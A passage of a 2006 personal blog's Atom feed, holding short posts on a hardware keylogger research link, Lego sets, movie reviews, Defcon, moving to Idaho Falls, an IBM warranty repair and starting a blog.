width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27714325-4237451992364833437?l=0xegypt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/4237451992364833437/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=27714325&amp;postID=4237451992364833437' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/4237451992364833437'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/4237451992364833437'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/2006/11/securosis-and-daringflamebait.html' title='Securosis and Daringflamebait'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-27714325.post-5347874005094118180</id><published>2006-11-08T18:56:00.000-08:00</published><updated>2006-11-08T20:27:37.719-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='keylogger'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Keyboard Dancing</title><content type='html'>Keyloggers are cool.  Hardware keyloggers are cooler because they are undetectable to the operating system.  A mark against hardware gizmos is that for them to be useful, one must install the gizmo and then retrieve it.  &lt;a href="http://fuji.cis.upenn.edu/~gauravsh/jitterbug.html"&gt;Until now.&lt;/a&gt;  Now it doesn't have to be retreived.  Now all one has to do is drop the gizmo and watch for traffic on the internet.  Or own a keyboard manufacturing company.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27714325-5347874005094118180?l=0xegypt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/5347874005094118180/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=27714325&amp;postID=5347874005094118180' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/5347874005094118180'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/5347874005094118180'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/2006/11/keyboard-dancing.html' title='Keyboard Dancing'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-27714325.post-116097792550568622</id><published>2006-10-15T22:51:00.000-07:00</published><updated>2006-11-05T13:31:05.421-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='lego'/><title type='text'>Vikings are not magical</title><content type='html'>I've been resisting the new Lego sets for a while now because of their futuristic depictions of supposedly historical eras.  For example, the Knights' Kingdom II and Vikings series both have giant spring-loaded projectile weapons.  Well today I broke down and bought a &lt;a href="http://www.lego.com/eng/vikings/productPage.aspx?family=&amp;productNumber=7019"&gt;vikings set&lt;/a&gt;.  I'm still uncertain about the ridiculous giant catapult powered by a lone viking. Launching boulders at least three times as big as himself doesn't seem within the realm of possibility for an &lt;a href="http://en.wikipedia.org/wiki/Viking"&gt;8th-11th century&lt;/a&gt; warrior, even if he is a badass.  On the other hand, the armor, weapons, and non-specialty bricks are awesome.&lt;br /&gt;&lt;br /&gt;On a completely unrelated note, Willyk set me up with a new &lt;a href="http://www.photooverflow.com/main.php?g2_itemId=74"&gt;gallery account&lt;/a&gt; today.  Check it out if you're interested.&lt;br /&gt;&lt;br /&gt;Update 2006-11-05: the gallery url has changed and now works.  =)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27714325-116097792550568622?l=0xegypt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/116097792550568622/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=27714325&amp;postID=116097792550568622' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/116097792550568622'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/116097792550568622'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/2006/10/vikings-are-not-magical_15.html' title='Vikings are not magical'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-27714325.post-115734758203515473</id><published>2006-09-03T21:17:00.000-07:00</published><updated>2007-06-11T21:37:06.560-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='movies'/><title type='text'>Siren's call</title><content type='html'>In the last few weeks, we've rented a number of movies.  So I will succumb to the Internet's siren-like call to publish my opinion so that all who care to read it might find something with which they disagree.  In alphabetical order:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://imdb.com/title/tt0383222/"&gt;Blood Rayne&lt;/a&gt; - Vampires.  We gave it the MST3K treatment and got our two bucks worth.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://imdb.com/title/tt0400525/"&gt;The Ice Harvest&lt;/a&gt; - My executive summary: "John Cusack and Billybob Thornton steal some money.  People die.  There are breasts."  Might be a decent movie iff you like film noir.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://imdb.com/title/tt0373469/"&gt;Kiss Kiss Bang Bang&lt;/a&gt; - A good detective film with assorted twists.  I was on the edge of my seat for much of this movie and laughing the rest of the time (Val Kilmer's character is called "Gay Perry").  Great movie with a solid cast, entertaining plot and funny dialogue.  Highly recommended.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://imdb.com/title/tt0449089/"&gt;RV&lt;/a&gt; - This was billed as a slightly ridiculous comedy and it definitely lives up to that description.  But it's not retarded like, say, anything Will Ferrell has ever done.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://imdb.com/title/tt0342258/"&gt;Unleashed&lt;/a&gt; - From the cover and the back-of-the-case description, this is your standard martial arts movie.  Do not let that fool you; in addition to his incredible physical abilities, Jet Li is quite an actor and Unleashed is a phenomenal movie.&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27714325-115734758203515473?l=0xegypt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/115734758203515473/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=27714325&amp;postID=115734758203515473' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/115734758203515473'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/115734758203515473'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/2006/09/sirens-call.html' title='Siren&apos;s call'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-27714325.post-115518666009359802</id><published>2006-08-09T21:46:00.000-07:00</published><updated>2007-06-11T21:33:43.415-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mosquito'/><category scheme='http://www.blogger.com/atom/ns#' term='conference'/><category scheme='http://www.blogger.com/atom/ns#' term='mosref'/><title type='text'>Defcon 0x0E</title><content type='html'>Defcon was a blast.  I met a bunch of cool people and got to hang out with some old friends.  fednaught, a &lt;a href="http://www.kenshoto.com"&gt;Capture the Flag&lt;/a&gt; team, got second place despite my help.&lt;br /&gt;&lt;br /&gt;My favorite talks were Hacking Malware: Offence is the New Defence by &lt;a href="http://www.offensivecomputing.net"&gt;Danny Quist and Valsmith&lt;/a&gt; and Exploit Writing Using Injectable Virtual Machines by &lt;a href="http://www.ephemeralsecurity.com"&gt;Wes Brown&lt;/a&gt; and another fellow from the same organization.  The latter because &lt;a href="http://www.toastyguy.dyndns.org/blog"&gt;James&lt;/a&gt; and I were discussing what we would need in order to be prepared for next year's CtF only moments before going into this presentation and hearing that it had already been written.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27714325-115518666009359802?l=0xegypt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/115518666009359802/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=27714325&amp;postID=115518666009359802' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/115518666009359802'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/115518666009359802'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/2006/08/defcon-0x0e.html' title='Defcon 0x0E'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-27714325.post-115377315728201926</id><published>2006-07-24T13:31:00.000-07:00</published><updated>2006-10-15T22:59:48.616-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='intar-tubes'/><title type='text'>Highly Sceintific Random Internet Tests</title><content type='html'>Apparently I'm in the 93rd percentile for nerdiness based on this Highly Scientific Random Internet Test.  This is a dubious honor but one that I felt was worth sharing. &lt;br /&gt;&lt;a href="http://www.nerdtests.com/ft_nq.php?im"&gt;&lt;img src="http://www.nerdtests.com/images/ft/nq.php?val=1777" alt="I am nerdier than 92% of all people. Are you nerdier? Click here to find out!"&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27714325-115377315728201926?l=0xegypt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/115377315728201926/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=27714325&amp;postID=115377315728201926' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/115377315728201926'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/115377315728201926'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/2006/07/highly-sceintific-random-internet.html' title='Highly Sceintific Random Internet Tests'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-27714325.post-115229602752578980</id><published>2006-07-07T11:03:00.000-07:00</published><updated>2006-10-15T22:59:48.559-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='life'/><title type='text'>Hello, I must be going</title><content type='html'>We've been in Idaho Falls for about three weeks now.  My job is interesting and I'm enjoying my work.  I haven't learned all the ropes yet; I just figured out how to fill in time cards yesterday.  We're just about settled into our new house but there are still a bunch of boxes that haven't been unpacked.  And now I'm going on travel for two weeks.  That's not really a bad thing; it will be fun and interesting and I will probably learn a ton on my first outing.  But there are a lot of things I need to do here in Idaho Falls.  Mostly paperwork things but important things nonetheless, like finding out where my paycheck goes and making sure it gets deposited before our first month's bills come due.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27714325-115229602752578980?l=0xegypt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/115229602752578980/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=27714325&amp;postID=115229602752578980' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/115229602752578980'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/115229602752578980'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/2006/07/hello-i-must-be-going.html' title='Hello, I must be going'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-27714325.post-114963614792222280</id><published>2006-06-06T16:09:00.000-07:00</published><updated>2006-10-15T22:59:48.497-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='life'/><title type='text'>Hurray for IBM</title><content type='html'>I bought a refurbished Thinkpad T40 in March with a 90-day manufacturer's warranty.  After having it for about two months, the USB ports died and the video card started flaking out everytime I pressed the machine in the wrong spot.  This was about the time when finals were approching fast and I could not live without my laptop, so I sucked it up and decided I would just pay to get it fixed out of warranty after the end of the semester.  This afternoon I found the invoice and called IBM.  It turns out that in IBM-land a 90-day warranty that started in March expires in October so they are going fix it for free.&lt;br /&gt;&lt;br /&gt;Additionally, in the past I have told Dell customer support representatives that the machine I'm calling about does not have Windows installed.  Their response has pretty much universally been, "Then it's your problem, not ours."  I told the IBM tech support guy the same thing and he said, "We don't care about that."&lt;br /&gt;&lt;br /&gt;Hurray for IBM!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27714325-114963614792222280?l=0xegypt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/114963614792222280/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=27714325&amp;postID=114963614792222280' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/114963614792222280'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/114963614792222280'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/2006/06/hurray-for-ibm.html' title='Hurray for IBM'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-27714325.post-114957073294401890</id><published>2006-06-05T19:29:00.000-07:00</published><updated>2006-10-15T22:59:48.438-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='life'/><title type='text'>Mmm... Socorro...</title><content type='html'>The closer I get to moving, the more I wish it wasn't so near.&lt;br /&gt;&lt;br /&gt;I've been in Socorro for just shy of six years, now.  For the first 4, I didn't care at all about the town.  But in the last two years, I've made some really great friends and I've come to enjoy many elements of Socorro and New Mexico Tech.  I think a lot of it is the college-town aspect of this place.  I enjoy walking around campus in the middle of the night for no particular reason and running into a bunch of other caffeinated people doing the same thing.  I find it hilarious when I'm talking to a towny and they ask if I "go to the tech".  I like writing code at El Camino til 4 in the morning.  I like having conversations with random people I've never seen before who laugh at my stupid jokes about big-O notation.&lt;br /&gt;&lt;br /&gt;I'll miss you guys.  And El Camino's green chile cheese fries.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27714325-114957073294401890?l=0xegypt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/114957073294401890/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=27714325&amp;postID=114957073294401890' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/114957073294401890'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/114957073294401890'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/2006/06/mmm-socorro.html' title='Mmm... Socorro...'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-27714325.post-114705738035139068</id><published>2006-05-07T19:56:00.000-07:00</published><updated>2006-10-15T22:59:48.360-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='life'/><title type='text'>New to blogging.</title><content type='html'>Not &lt;span style="font-style: italic;"&gt;really&lt;/span&gt; new to blogging... but new to automated blogging.  My previous blog management software was &lt;a href="vim.org"&gt;vim&lt;/a&gt;.  Don't get me wrong, vim rocks.  But every time I made a post, which happend quite infrequently because it was a pain in the ass, I thought, "Man, I should really write some code to automate this process."&lt;br /&gt;&lt;br /&gt;In the fine CS tradition of not reinventing the wheel I decided to use someone else's code instead.  As an added bonus, I'm using someone else's server and someone else's bandwidth as well.  =)&lt;br /&gt;&lt;br /&gt;Repost of my ramblings which spurred me to get a blogger account:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;I'm about to graduate a week from today so 'the real world', as it is often called, has been on my mind a lot recently. It really bugs me when I tell people I'm going to graduate and they say something like: "Well I guess you'll soon find out how much the real world sucks. Have to get up earlier and work longer."&lt;br /&gt;&lt;br /&gt;I did some math. I'm studying, working at my student job, doing homework or sitting in class for 60-70 hours per week. That 40 hour/week job with no homework everyone complains about so much sounds pretty sweet.&lt;br /&gt;&lt;br /&gt;I think the 'real world' that you're talking about does suck. I wouldn't want to do something meaningless everyday for eight hours. But a large percentage of my friends and acquantainces who don't have a degree seem to think that college is a breeze and that we just screw around for 4 years (well, 6 for me) until we get a job like theirs that we hate like they do.&lt;br /&gt;&lt;br /&gt;So in conclusion, no, college is not like the 'real world'. But in two month's time, I'm going to be working with some of the best hackers in the world securing some of the country's most important assets. I'm not sure if that's the real world, either...&lt;br /&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27714325-114705738035139068?l=0xegypt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xegypt.blogspot.com/feeds/114705738035139068/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=27714325&amp;postID=114705738035139068' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/114705738035139068'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27714325/posts/default/114705738035139068'/><link rel='alternate' type='text/html' href='http://0xegypt.blogspot.com/2006/05/new-to-blogging.html' title='New to blogging.'/><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
